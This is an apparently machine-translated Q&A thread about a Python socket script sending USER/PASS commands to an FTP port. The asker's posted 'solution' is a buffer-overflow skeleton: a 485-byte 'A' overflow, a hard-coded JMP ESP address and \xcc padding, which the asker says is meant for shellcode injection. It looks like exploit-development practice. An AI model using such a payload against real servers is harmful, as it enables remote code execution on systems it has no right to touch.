2015-05-19 110 views
1

我寫了一個簡單的Python腳本,它應該使用用戶名和密碼連接到Telnet服務器。Python模擬輸入鍵

該腳本如下:

#!/usr/bin/python 

import sys 
import socket 

hostname = sys.argv[1] 
password = "whatever" 
username = "whatever" 


connect = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 

try: 

    connect.connect((hostname, 21)) 


except: 
     print "[-] connection error" 
response = connect.recv(2000) 
print response 
sys.exit(1) 


connect.send("user %s\%r\%n" %username) 
response = connect.recv(2000) 
print response 



connect.send("pass %\%r\%n" %password) 
response = connect.recv(2000) 
print response 



connect.close() 

的錯誤是:爲什麼它不

connect.send("user %s\%r\%n" %username) 
response = connect.recv(2000) 
print response 



connect.send("pass %\%r\%n" %password) 
response = connect.recv(2000) 
print response 

的連接工作,但我無法模擬與回車鍵不工作? 謝謝:)

編輯解決方案:

#!/usr/bin/python 

import sys 
import socket 




hostname = sys.argv[1] 
password = "whatever" 


jmpesp= "\xED\x1E\x94\x7C" 

username = "A"*485 + jmpesp + "\xcc"*(1024 - 485 - 4) 


connect = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 

try: 

    connect.connect((hostname, 21)) 


except: 


    print "[-] Verbindungs Fehler" 
    response = connect.recv(2000) 
    print response 
    sys.exit(1) 


connect.send("user %s\r\n" %username) 
response = connect.recv(2000) 
print response 

connect.send("user %s\r\n" %password) 
response = connect.recv(2000) 
print response 








connect.close() 
+0

這些行是否被執行?你之前有一個'sys.exit(1)',這會停止程序。 – matiasg

+0

嘗試刪除'\ r'。 – cdarke

+1

@DominicJarmann請將您的解決方案發布爲不作爲編輯,但作爲單獨的答案,您接受。 – zubergu

回答

0

Python支持的telnet庫:telnetlib

你看看那一個? https://docs.python.org/2/library/telnetlib.html#module-telnetlib

還有一個例子,如何使用它:

import getpass 
import sys 
import telnetlib 

HOST = "localhost" 
user = raw_input("Enter your remote account: ") 
password = getpass.getpass() 

tn = telnetlib.Telnet(HOST) 

tn.read_until("login: ") 
tn.write(user + "\n") 
if password: 
    tn.read_until("Password: ") 
    tn.write(password + "\n") 

tn.write("ls\n") 
tn.write("exit\n") 

print tn.read_all() 
+0

問題是,我想用Bufferoverflow漏洞編寫腳本。爲此,我不能使用這個庫。我只是不能注入這個庫的shellcode .. –

+0

但是,無論如何謝謝:) –

+1

沒錯。但是你可以看看lib的實現以及它們如何將\ n發送到telnet服務器。我認爲寫功能可能會有用。 https://hg.python.org/cpython/file/2.7/Lib/telnetlib.py#l273 – aronadaal

0

解決方案的代碼是:

#!/usr/bin/python 

import sys 
import socket 




hostname = sys.argv[1] 
password = "whatever" 


jmpesp= "\xED\x1E\x94\x7C" 

username = "A"*485 + jmpesp + "\xcc"*(1024 - 485 - 4) 


connect = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 

try: 

    connect.connect((hostname, 21)) 


except: 


    print "[-] Verbindungs Fehler" 
    response = connect.recv(2000) 
    print response 
    sys.exit(1) 


connect.send("user %s\r\n" %username) 
response = connect.recv(2000) 
print response 

connect.send("user %s\r\n" %password) 
response = connect.recv(2000) 
print response 








connect.close() 

的錯誤是一種實現錯誤,該代碼得到之前停止PROGRAMM執行。